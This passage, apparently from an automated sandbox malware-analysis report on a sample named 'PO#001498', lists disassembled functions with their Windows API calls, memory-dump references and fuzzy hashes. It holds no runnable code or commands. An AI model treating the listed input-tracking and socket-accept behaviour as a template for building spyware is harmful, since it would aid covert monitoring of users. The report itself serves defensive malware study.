                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                                                                                                                                        • __itow.LIBCMT ref: 00461461
                                                                                                                                                                                                        • __itow.LIBCMT ref: 004614AB
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$__itow$_wcslen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2875217250-0
                                                                                                                                                                                                        • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                                                        • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                                                                                                                                                        Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0040E202
                                                                                                                                                                                                        • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconNotifyShell__memset
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 928536360-0
                                                                                                                                                                                                        • Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                                                        • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                                                                                                                                                        Function 004727F8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetForegroundWindow.USER32 ref: 00472806
                                                                                                                                                                                                          • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                                                                                                                                                          • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                                                                                                                                                          • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                                                                                                                                                        • GetCaretPos.USER32(?), ref: 0047281A
                                                                                                                                                                                                        • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                                                                                                                                                        • GetForegroundWindow.USER32 ref: 0047285C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2759813231-0
                                                                                                                                                                                                        • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                                                        • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                                                                                                                                                        Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                                                                                                                                                        • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                                                                                                                                                        • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                                                                                                                                                        • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Long$AttributesLayered
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2169480361-0
                                                                                                                                                                                                        • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                                                        • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                                                                                                                                                        Function 00448C8B Relevance: 6.1, APIs: 4, Instructions: 73windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 00448CB8
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$LongWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 312131281-0
                                                                                                                                                                                                        • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                                                        • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                                                                                                                                                        Function 004588B0 Relevance: 6.1, APIs: 4, Instructions: 67networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • select.WSOCK32 ref: 0045890A
                                                                                                                                                                                                        • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                                                                                                                                                        • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                                                                                                                                                                                                        • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLastacceptselect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 385091864-0
                                                                                                                                                                                                        • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                                                        • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                                                                                                                                                        Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3850602802-0
                                                                                                                                                                                                        • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                                                        • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                                                                                                                                        Function 0043362D Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                                                                                                                                        • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                                                                                                                                        • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1358664141-0
                                                                                                                                                                                                        • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                                                        • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                                                                                                                                        Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                                                                                                                                                        • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                                                                                                                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2880819207-0
                                                                                                                                                                                                        • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                                                        • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                                                                                                                                                        Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                                                                                                                                        • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                                                                                                                                        • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                                                                                                                                        • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 357397906-0
                                                                                                                                                                                                        • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                                                        • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                                                                                                                                        Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                                                          • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                        • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1187119602-0
                                                                                                                                                                                                        • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                                                        • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                                                                                                                                        Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1597257046-0
                                                                                                                                                                                                        • Opcode ID: a0a60491a2b11ab92cb2618fcf1664bc73e22867390c023d5d6986141a6dc3e0
                                                                                                                                                                                                        • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a0a60491a2b11ab92cb2618fcf1664bc73e22867390c023d5d6986141a6dc3e0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                                                                                                                                        Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DeleteDestroyObject$IconWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3349847261-0
                                                                                                                                                                                                        • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                                                        • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                                                                                                                                                        Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                                                                                                                                                        • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                                                                                                                                                        • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                                                                                                                                                        • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                                                                                                                                                        Memory Dump Source
